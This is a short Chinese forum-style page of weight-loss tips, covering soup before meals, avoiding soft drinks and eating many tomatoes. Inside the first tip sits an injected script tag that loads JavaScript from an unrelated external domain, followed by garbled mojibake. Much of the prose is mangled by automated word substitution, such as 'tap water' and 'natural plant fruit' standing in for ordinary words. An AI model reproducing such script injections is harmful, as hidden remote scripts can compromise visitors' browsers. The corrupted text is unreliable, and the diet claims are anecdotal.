成功瘦身减肥心得
成功瘦身减肥心得
网上流传得各种五花八门的减肥计划看多了,你会不会感到有些无所适从?是不是想知道论坛中的减肥达人们是怎么减肥成功的?她们都用什么计划?她们的减肥心得是什么?

1.饭前喝个汤饱,这招百试不爽啊很管用!
吃饭的时候别先吃喜欢的菜,先吃点青菜垫下肚子.饭后2个小时以后吃自来植物的果实最佳,每个季节出的自来植物的果实都有克制这个季节人体方面的弊病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>诶锩姹热缥鞴峡梢愿芯醯降牟钩渥岳此郑磷涌梢郧迦?
2.不要喝可乐和雪碧,这都是要胖MM命的玩意!
我们应该视为洪自来水猛兽来对待,慢慢该掉这个旧习惯,改喝白自来水和茶自来水(红茶绿茶都很好)
3.在冰箱大量囤积番茄
在暑假的时候可以在冰箱大量囤积番茄,这可是个好玩意,我以前的皮肤很黄也不好,又胖可想而之是啥恐怖样了,我强求天天吃番茄整个暑假(天天吃5.6个,我在玩命!)主要是番茄很让人有饱足感可以感觉到的代替米饭,留意一定要吃红透了的!